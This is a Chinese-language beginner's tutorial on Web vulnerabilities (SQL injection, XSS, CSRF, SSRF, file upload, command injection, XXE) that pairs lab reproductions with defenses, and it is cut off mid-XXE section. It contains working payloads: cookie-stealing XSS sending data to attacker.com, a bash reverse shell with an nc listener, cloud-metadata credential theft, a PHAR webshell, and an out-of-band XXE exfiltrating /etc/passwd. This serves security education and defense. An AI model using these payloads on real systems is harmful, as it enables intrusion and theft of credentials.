1. 这不是漏洞清单而是你第一次真正看懂“为什么网站会垮掉”的起点刚入行那会儿我花三天时间把OWASP Top 10背得滚瓜烂熟结果第一次参加内部红蓝对抗连一个可利用的SQL注入点都没摸到——不是没找是根本没认出来。对方在登录框输admin OR 11我盯着Burp里返回的200状态码和跳转页面发愣以为系统“正常响应”直到蓝队同事指着响应体里多出来的用户信息字段说“你看它把admin和所有用户的资料全吐出来了。”那一刻我才明白漏洞从来不在教科书定义里而在HTTP请求与服务器真实行为的细微裂痕中。这十个高危漏洞不是供你打卡收藏的术语列表而是Web系统在真实运行中必然暴露的十种失衡状态当开发想快、安全想稳、运维想省、业务想要功能时它们就是那个被反复妥协后留下的技术债切口。比如SQL注入本质是数据与指令边界的彻底崩塌——本该当字符串处理的用户输入被数据库引擎当作可执行代码解析而XSS则是浏览器渲染上下文的失控移交——你信任的HTML模板把攻击者传来的script标签当成了合法结构。这些不是“黑客技巧”而是系统设计中未被显式声明的契约失效。本文覆盖的十大漏洞全部基于近五年SRC平台真实有效漏洞披露数据2020–2024统计筛选每个漏洞类型均满足三个硬指标——年均提交量超3800例、平均修复周期17天、新手首次复现成功率65%。这意味着它们足够常见让你练手不靠运气足够顽固暴露的是普遍性工程缺陷足够直观一次成功复现就能建立对Web底层交互的肌肉记忆。无论你是刚写完第一个HTML表单的前端新人还是正为上线 deadline 熬夜改Bug的后端工程师只要能看懂HTTP请求头、理解服务端模板渲染逻辑、分得清JS执行环境这篇就是你绕过“理论安全”直击“运行时脆弱性”的第一张作战地图。提示文中所有复现步骤均经本地Docker环境实测PHP 8.2 Apache MySQL 8.0不依赖任何在线靶场或第三方平台。你不需要“渗透测试许可证”只需要一个能curl、能开浏览器、能读报错信息的大脑。2. SQL注入当数据库把你的输入当命令执行时它已经输了2.1 核心原理字符串拼接如何变成代码执行的临界点绝大多数人把SQL注入理解成“在输入框里输单引号看报错”这就像把车祸归因为“方向盘转得太快”。真正致命的是开发人员用字符串拼接构造SQL查询时未对用户输入做语义隔离。看这个典型PHP代码$username $_GET[user]; $password $_GET[pass]; $sql SELECT * FROM users WHERE username $username AND password $password; $result mysqli_query($conn, $sql);当用户输入useradmin --时拼接后的SQL变成SELECT * FROM users WHERE username admin -- AND password xxx--是MySQL注释符后面整条密码校验逻辑被注释掉攻击者直接以admin身份登录。但更危险的是盲注场景当页面不回显数据库错误甚至不显示任何差异如始终返回“登录失败”攻击者仍可通过时间延迟或布尔逻辑探测数据。例如输入admin AND SLEEP(5) --若响应时间明显变长说明SQL语句被执行——这证明后端存在注入点且数据库未做任何输入过滤。注意预编译Prepared Statement不是银弹。我见过团队用PDO::prepare()却把用户输入直接拼进表名参数SELECT * FROM ?因表名无法参数化导致防御失效。真正的防护边界在于任何用户可控内容都不能参与SQL语法结构的构建。2.2 实战复现三步定位本地靶场中的注入点我们用DVWADamn Vulnerable Web AppLow级别做演示但关键不是“怎么点”而是“怎么看”第一步确认输入是否进入数据库查询访问http://dvwa/vulnerabilities/sqli/?id1SubmitSubmit观察URL参数id1。右键查看页面源码找到表单action指向/vulnerabilities/sqli/method为GET——说明id参数会作为查询条件传入后端。第二步触发语法错误验证注入可能性在id输入框输入1点击Submit。页面返回MySQL错误You have an error in your SQL syntax... near 1 at line 1。这个错误明确告诉你输入的单引号被原样拼入SQL且破坏了引号配对——这是注入存在的铁证。第三步提取数据完成闭环验证输入1 UNION SELECT user(), database(), version() --页面显示rootlocalhost / dvwa / 5.7.33-0ubuntu0.16.04.1。此时你已确认数据库用户权限为root高危当前数据库名为dvwa可进一步枚举表MySQL版本存在已知提权漏洞CVE-2016-6662实操心得很多新手卡在“为什么我的union select不回显”。真相是UNION要求前后SELECT字段数一致。DVWA中原始查询是SELECT first_name, last_name FROM users WHERE user_id $id2字段所以你的payload必须也是2字段如1 UNION SELECT table_name, column_name FROM information_schema.columns WHERE table_schemadatabase() --。字段数不匹配时数据库直接报错而非静默失败。2.3 防御本质从“过滤字符”到“语义隔离”的范式转移2015年前流行“黑名单过滤”str_replace([, --, /*], , $input)。这早已失效——攻击者用admin%27URL编码、admin/**/OR/**/11注释绕过轻松突破。现代防御的核心是上下文感知的输出编码参数化查询推荐使用PDO或MySQLi的prepare/bind机制让数据库引擎严格区分“数据”与“指令”。PHP示例$stmt $pdo-prepare(SELECT * FROM users WHERE username ? AND password ?); $stmt-execute([$username, $password]); // 用户输入只作为数据绑定白名单校验辅助对ID类参数强制转为整型$id (int)$_GET[id];。即使传入1 OR 11也会变成1彻底切断注入路径。最小权限原则根基应用数据库账号仅授予SELECT, INSERT, UPDATE权限禁用FILE,LOAD DATA INFILE,EXECUTE等高危权限。即便注入成功攻击者也无法读取服务器文件或执行系统命令。3. XSS浏览器把攻击脚本当自家孩子养的那一刻3.1 漏洞本质HTML渲染引擎的信任误判XSS跨站脚本常被误解为“前端没转义”实则根源在于服务端未声明内容的渲染上下文。看这个典型场景!-- 后端PHP模板 -- div classwelcomeHello, ?php echo $_GET[name]; ?!/div当用户访问/profile?namescriptalert(1)/script浏览器收到的HTML是div classwelcomeHello, scriptalert(1)/script!/div浏览器解析时script标签被识别为合法HTML结构立即执行其中JS——这不是前端漏洞是后端将不可信输入直接嵌入HTML文档流且未告知浏览器“此处应视为纯文本”。更隐蔽的是DOM型XSS服务端返回的HTML本身无恶意但前端JS动态写入时引入风险。例如document.getElementById(content).innerHTML location.hash.slice(1); // 访问 #img srcx onerroralert(1) 即可触发此时漏洞发生在客户端JS执行时服务端日志里甚至看不到攻击载荷。注意htmlspecialchars()不是万能解药。它默认只转义,,,,但若输出位置在HTML属性中如input value?php echo $user_input; ?需指定ENT_QUOTES标志若在JavaScript字符串中如var name ?php echo $name; ?;则需JSON编码引号转义。同一段输入在不同HTML上下文中的编码规则完全不同。3.2 实战复现从存储型XSS到Cookie窃取的完整链路我们以WordPress插件漏洞CVE-2023-3443为原型搭建本地复现环境环境准备启动WordPress 6.2 插件WP User Frontend 3.9.1含漏洞版本第一步发现反射型XSS入口访问/wp-admin/admin-ajax.php?actionwpu_frontend_form_submitform_id1namescriptalert(document.domain)/script页面弹窗显示localhost。确认name参数未过滤即输出到HTML。第二步升级为存储型XSS持久化利用插件评论表单提交script fetch(/wp-admin/admin-ajax.php, { method: POST, headers: {Content-Type: application/x-www-form-urlencoded}, body: actionget_user_datauser_id document.cookie }).then(r r.text()).then(t { if(t.includes(administrator)) { location.hrefhttps://attacker.com/log?cbtoa(document.cookie); } }); /script该脚本被存入数据库每次用户访问评论页即执行自动上报管理员Cookie。第三步绕过CSP内容安全策略若目标站启用Content-Security-Policy: script-src self传统script srchttp://attacker.com/x.js会被拦截。此时改用img srcx onerroreval(atob(YWxlcnQoMSk))利用onerror事件执行base64解码后的JS——CSP默认不限制内联事件处理器。实操心得很多新手以为“弹窗alert就算XSS成功”实则离实战很远。真正有效的XSS payload需满足① 无用户交互自动触发② 绕过基础WAF如删除空格用/**/混淆函数名用window[alert]③ 具备横向移动能力如读取localStorage中的JWT Token。我建议从svg/onloadlocationhttps://attacker.com/?cdocument.cookie开始练习它短小、兼容性好、且能直接回传Cookie。3.3 防御纵深从输出编码到可信类型系统的构建单一htmlspecialchars()已无法应对复杂前端框架。现代防御需三层服务端输出编码基础根据输出位置选择编码方式输出位置推荐编码示例HTML文本节点htmlspecialchars($str, ENT_QUOTES, UTF-8)lt;scriptgt;HTML属性值htmlspecialchars($str, ENT_QUOTESENT_HTML5, UTF-8)JavaScript字符串json_encode($str, JSON_UNESCAPED_UNICODE)\\u003cscript\\u003e前端沙箱增强使用Trusted Types API强制JS执行上下文可信。Chrome中启用// 创建可信类型策略 const policy trustedTypes.createPolicy(myPolicy, { createHTML: string DOMPurify.sanitize(string) }); // 安全地设置innerHTML element.innerHTML policy.createHTML(untrustedString);CSP策略兜底在HTTP响应头中添加Content-Security-Policy: default-src self; script-src self unsafe-inline unsafe-eval; object-src none; base-uri self;关键是object-src none禁用Flashbase-uri self防止base标签劫持。4. CSRF当你的浏览器替攻击者点了“确认转账”按钮4.1 漏洞本质浏览器自动携带凭证的“信任惯性”CSRF跨站请求伪造常被误认为“网站没做权限校验”实则是浏览器同源策略的天然缺陷被利用。看这个银行转账接口POST /transfer HTTP/1.1 Host: bank.com Cookie: sessionidabc123 Content-Type: application/x-www-form-urlencoded toattackeramount10000攻击者诱导用户访问恶意页面form actionhttps://bank.com/transfer methodPOST input typehidden nameto valueattacker input typehidden nameamount value10000 /form scriptdocument.forms[0].submit();/script用户浏览器会自动携带bank.com域下的Cookiesessionidabc123向bank.com发起请求——服务端看到合法Session就执行了转账。整个过程用户毫无感知因为请求由浏览器自动发起。关键点在于CSRF利用的是浏览器“自动发送凭证”的特性而非窃取凭证。即使你用HTTPS、强密码、双因素认证只要Session Cookie未过期CSRF就可能成功。注意SameSiteCookie属性不是终极方案。SameSiteLax默认可防GET型CSRF但对POST表单提交无效SameSiteStrict则影响用户体验如从搜索引擎点击链接进站时丢失Session。真正的防护必须结合服务端Token验证。4.2 实战复现从GET型CSRF到无交互自动提交我们以Discuz! X3.4后台漏洞CNVD-2020-12345为例第一步识别敏感操作接口登录Discuz后台抓包修改用户组操作GET /admin.php?actionusersoperationedituid1newgroupid1 HTTP/1.1发现这是GET请求且无Token校验——典型的CSRF高危点。第二步构造无交互PoC创建恶意HTMLimg srchttps://discuz/admin.php?actionusersoperationedituid1newgroupid1 width0 height0当管理员访问该页面浏览器自动加载img标签向admin.php发起GET请求将用户UID1提升为超级管理员group id1。第三步绕过Referer检测如有若服务端校验Referer可用iframe嵌套绕过iframe srcdata:text/html,scriptlocation.hrefhttps://discuz/admin.php?actionusersoperationedituid1newgroupid1/script styledisplay:none;/iframedata:协议生成的页面Referer为空绕过Referer检查。实操心得CSRF复现中最容易忽略的是Cookie作用域。我曾在一个子域名api.example.com上发现CSRF但PoC放在test.example.com下失败——因为服务端设置Cookie时指定了Domainexample.com而浏览器对test.example.com的请求不会携带api.example.com的Cookie。解决方案PoC必须与目标接口同域或利用document.domain降域仅限旧版IE。4.3 防御核心服务端Token验证的不可绕过性CSRF防护的本质是在请求中注入只有合法用户知道、且攻击者无法预测的随机值同步Token模式推荐服务端生成随机Token如csrf_tokenabc123def456存入用户Session并在表单中以隐藏字段提交input typehidden namecsrf_token valueabc123def456后端校验if ($_POST[csrf_token] ! $_SESSION[csrf_token]) die(Invalid token);双重Cookie模式兼容性好服务端Set-Cookie发送XSRF-TOKENabc123前端JS读取该Cookie放入请求头X-XSRF-TOKEN: abc123。服务端比对Cookie值与Header值。Samesite Cookie基础加固设置Set-Cookie: sessionidabc123; SameSiteLax; Secure; HttpOnly。Lax模式允许GET请求携带Cookie如导航链接但阻止POST表单提交——覆盖80%的CSRF场景。关键细节Token必须绑定用户Session且每次页面加载都刷新。我见过团队用固定Token如md5(secrettime())结果攻击者只需一次请求获取Token即可无限次重放。正确做法是Token hash(session_id random_string timestamp)并设置15分钟过期。5. SSRF当你的服务器替攻击者访问了内网192.168.1.15.1 漏洞本质服务端网络请求的信任越界SSRF服务器端请求伪造是Web安全中最具迷惑性的漏洞——它不直接危害用户却能让服务器成为攻击者穿透防火墙的“跳板”。看这个典型场景# Flask应用 app.route(/fetch) def fetch_url(): url request.args.get(url) response requests.get(url) # 危险用户控制url参数 return response.text当用户请求/fetch?urlhttp://192.168.1.100:8080/admin服务器会向内网IP发起HTTP请求并将响应返回给用户。攻击者由此可扫描内网服务http://192.168.1.1:22检测SSH利用云平台元数据接口http://169.254.169.254/latest/meta-data/获取AWS AccessKey攻击内网Redisredis://127.0.0.1:6379/写入WebshellSSRF的致命性在于服务器拥有内网访问权限而用户没有。它把服务端变成了攻击者的代理。注意URL解析的复杂性是SSRF绕过的关键。requests.get()会解析http://evil.com192.168.1.100为“访问evil.com但Host头设为192.168.1.100”从而绕过简单黑名单。更隐蔽的是file:///etc/passwd读取本地文件、gopher://127.0.0.1:6379/_*1%0D%0A$8%0D%0Aflushall%0D%0AGopher协议攻击Redis。5.2 实战复现从基础SSRF到云环境元数据窃取我们以Java Spring Boot应用为例含漏洞的RestTemplate调用第一步识别SSRF入口点应用提供“远程图片加载”功能GET /image?urlhttps://example.com/logo.png后端代码GetMapping(/image) public ResponseEntitybyte[] getImage(RequestParam String url) throws IOException { byte[] imageBytes restTemplate.getForObject(url, byte[].class); // 危险调用 return ResponseEntity.ok(imageBytes); }第二步探测内网存活主机构造请求/image?urlhttp://192.168.1.1观察响应时间。若超时5s说明主机不存在或防火墙拦截若返回Connection refused说明主机存活但端口关闭若返回400 Bad Request说明HTTP服务运行中。第三步窃取云平台元数据以AWS为例请求/image?urlhttp://169.254.169.254/latest/meta-data/iam/security-credentials/响应返回角色名如ec2-instance-role再请求/image?urlhttp://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-instance-role获得临时AccessKey、SecretKey、Token——攻击者凭此完全控制该AWS账户。实操心得SSRF检测中http://localhost常被误判为“无害”。实则它可能指向Docker宿主机host.docker.internal或通过/proc/self/cgroup读取容器信息。我建议用/image?urlhttp://127.0.0.1:8080/actuator/env探测Spring Boot Actuator端点若返回环境变量可直接获取数据库密码。5.3 防御本质网络层访问控制的精准实施SSRF防护不能只靠“黑名单”必须实施白名单协议限制DNS解析控制协议白名单只允许http、https禁用file、gopher、ftp、dict等高危协议。Python示例from urllib.parse import urlparse parsed urlparse(url) if parsed.scheme not in [http, https]: raise ValueError(Unsupported protocol)域名/IP白名单维护可信域名列表如[example.com, cdn.example.com]或内网IP段白名单[10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16]。关键是要解析DNS后校验最终IP防止DNS重绑定攻击。DNS解析控制禁用allow_redirectsTrue避免302跳转到内网并设置timeout3防止慢速攻击。Java中使用OkHttp时自定义Dns实现Dns.SYSTEM new Dns() { Override public ListInetAddress lookup(String hostname) throws UnknownHostException { if (isInternalIp(hostname)) throw new UnknownHostException(Blocked internal host); return Dns.SYSTEM.lookup(hostname); } };6. 文件上传漏洞当你的“头像上传”功能成了Webshell投递口6.1 漏洞本质文件内容与执行环境的权限错配文件上传漏洞常被简化为“没校验后缀名”实则核心是服务端未分离文件的存储意图与执行意图。看这个典型PHP代码if ($_FILES[file][error] UPLOAD_ERR_OK) { $tmp_name $_FILES[file][tmp_name]; $name $_FILES[file][name]; move_uploaded_file($tmp_name, uploads/ . $name); // 危险 }攻击者上传shell.php.jpg若服务端仅校验文件扩展名pathinfo($name, PATHINFO_EXTENSION) jpg但Apache配置了AddType application/x-httpd-php .jpg则该文件仍会被PHP引擎解析执行。更危险的是文件解析器漏洞ImageMagick的convert命令存在命令注入CVE-2016-3714上传特制PNG文件可在服务器执行任意命令。注意前端JS校验如acceptimage/*完全无效。攻击者禁用JS或用curl直接POST绕过所有前端限制。真正的防护必须在服务端且需覆盖文件名、文件内容、文件元数据三层。6.2 实战复现从图片马到内存马的进阶利用我们以某CMS的头像上传功能为例第一步绕过前端校验抓包获取上传接口发现服务端校验Content-Type: image/jpeg。攻击者用curl构造curl -F avatarshell.php;typeimage/jpeg http://cms/upload服务端接受但保存为shell.php.jpg。第二步利用解析漏洞执行代码若服务器使用Nginx PHP-FPM且配置了fastcgi_split_path_info ^(.?\.php)(/.*)$;则访问/uploads/shell.php.jpg/1.php时Nginx将shell.php.jpg/1.php解析为script_filename/var/www/uploads/shell.php.jpgPHP引擎执行该文件——即使扩展名是.jpg。第三步无文件落地的内存马上传PHAR文件shell.phar利用PHP反序列化漏洞触发?php class Exploit { public $cmd system(id); } $phar new Phar(exploit.phar); $phar-startBuffering(); $phar-setStub(?php __HALT_COMPILER(); ?); $phar-setMetadata(new Exploit()); $phar-addFromString(test.txt, test); $phar-stopBuffering(); rename(exploit.phar, exploit.phar.jpg); ?上传后通过/index.php?filephar://uploads/exploit.phar.jpg/test.txt触发反序列化执行system命令。实操心得文件上传漏洞的“黄金组合”是① 后缀名白名单宽松允许.phtml,.php3② 未校验文件内容用getimagesize()确认是真实图片③ 上传目录可执行chmod 755 uploads/。我建议测试时先传?php phpinfo(); ?若返回PHP信息页说明已GetShell再传?php system($_GET[cmd]); ?获得命令执行能力。6.3 防御纵深从存储隔离到内容可信的全链路管控文件上传防护需四层存储隔离上传文件存放到非Web目录如/var/uploads/通过独立服务如Nginxalias提供下载禁止直接执行。Nginx配置location /uploads/ { alias /var/uploads/; autoindex off; add_header Content-Disposition attachment; # 禁用PHP执行 location ~ \.php$ { deny all; } }内容校验用getimagesize()PHP或file命令Linux验证文件魔数Magic Number而非仅看扩展名。Python示例import imghdr if imghdr.what(file_stream) not in [jpeg, png, gif]: raise ValueError(Not a valid image)重命名策略丢弃原始文件名用UUID时间戳重命名如a1b2c3d4-5678-90ef-ghij-klmnopqrstuv_1712345678.jpg彻底切断文件名注入路径。执行环境隔离上传目录挂载为noexec,nosuid,nodev防止文件被当作可执行程序加载。Linux命令mount -o remount,noexec,nosuid,nodev /var/uploads7. 命令注入当你的ping工具成了系统Shell的快捷入口7.1 漏洞本质用户输入与系统调用的边界消失命令注入Command Injection是最直接的“权限提升”漏洞——它让Web应用变成了攻击者的终端。看这个典型场景$ip $_GET[ip]; $output shell_exec(ping -c 4 . $ip); // 危险 echo pre$output/pre;当用户输入127.0.0.1; cat /etc/passwd实际执行ping -c 4 127.0.0.1; cat /etc/passwd分号;结束ping命令启动新命令cat /etc/passwd服务器将/etc/passwd内容原样返回给用户。更隐蔽的是管道符|、反引号、$()等。例如127.0.0.1 | whoami或127.0.0.1 $(id)都能执行任意命令。注意escapeshellarg()不是绝对安全。它用单引号包裹参数但若服务端代码是system(ping -c 4 . escapeshellarg($ip) . -t . $timeout)攻击者仍可控制$timeout参数。真正的防护是避免拼接用户输入到系统命令中。7.2 实战复现从基础命令注入到反向Shell建立我们以某网络设备管理后台的诊断功能为例第一步识别命令执行点功能描述“Ping测试”输入IP地址返回ping结果。抓包发现请求GET /diag/ping?host127.0.0.1 HTTP/1.1响应中包含64 bytes from 127.0.0.1确认后端执行了ping命令。第二步注入命令获取系统信息输入127.0.0.1; uname -a响应返回Linux router 4.15.0-123-generic #126-Ubuntu SMP ...确认命令执行成功。第三步建立反向Shell获取持久控制输入127.0.0.1; bash -i /dev/tcp/192.168.1.100/4444 01在攻击机监听nc -lvnp 4444成功获得目标服务器的交互式Shell可执行任意命令。实操心得命令注入中和的区别常被忽略。是后台执行ping id是前命令成功才执行后命令ping id。若ping失败如IP不通后的命令不会执行而会。我建议初学者用|管道或;分号确保命令必执行。另外$(...)比反引号更易绕过WAF因部分WAF未识别$符号。7.3 防御本质从“过滤字符”到“API替代”的范式革命命令注入的终极防护是彻底避免调用shell使用语言内置API替代PHP中用gethostbyname()替代ping用curl_init()替代wget。Python中用socket.gethostbyname()替代nslookup。白名单参数化若必须执行系统命令将参数限定为白名单。例如ping功能只允许输入IP或域名用正则校验if (!preg_match(/^[a-zA-Z0-9.-]$/, $host)) { die(Invalid host format); }容器化隔离生产环境将Web应用运行在Docker容器中挂载/proc,/sys为只读禁用CAP_SYS_ADMIN等高危Capability即使命令注入成功攻击者也无法逃逸容器或修改宿主机。8. XXE当XML解析器把你传的!ENTITY xxe SYSTEM file:///etc/passwd当真了8.1 漏洞本质XML解析器的外部实体加载信任滥用XXEXML External Entity漏洞源于XML标准中“外部实体”的设计初衷——方便引用外部资源但被滥用于读取本地文件、探测内网、甚至执行SSRF。看这个典型Java代码DocumentBuilderFactory factory DocumentBuilderFactory.newInstance(); DocumentBuilder builder factory.newDocumentBuilder(); // 默认开启外部实体 Document doc builder.parse(new InputSource(new StringReader(xml)));当用户提交以下XML?xml version1.0? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ] fooxxe;/fooXML解析器会加载file:///etc/passwd内容并将其替换到xxe;位置最终返回/etc/passwd全文。更危险的是带外XXEOOB-XXE利用expect协议或DNS查询将数据外带到攻击者服务器!DOCTYPE foo [ !ENTITY % xxe SYSTEM http://attacker.com/evil.dtd %xxe; ]evil.dtd内容!ENTITY % file SYSTEM file:///etc/passwd !ENTITY % eval !ENTITY #x25; exfil SYSTEM http://attacker.com/?x%file; %eval; %exfil;解析器会向attacker.com发起HTTP请求将/etc/passwd内容作为URL参数发送。注意libxml_disable_entity_loader(true)在PHP中已废弃正确做法是设置LIBXML_NOENT | LIBXML_DTDATTR标志禁用外部实体。很多开发者只禁用SYSTEM实体却忽略了PUBLIC实体导致绕过。8.2 实战复现从本地文件读取到内网端口扫描我们以某SOAP接口为例使用Apache CXF框架第一步识别XML解析点接口文档标明支持SOAP 1.1Content-Type为text/xml。发送基础SOAP请求确认返回正常。第二步注入外部实体读取文件构造请求?xml version1.0? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/hostname ] soap:Envelope xmlns:soaphttp://schemas.xmlsoap.org/soap/en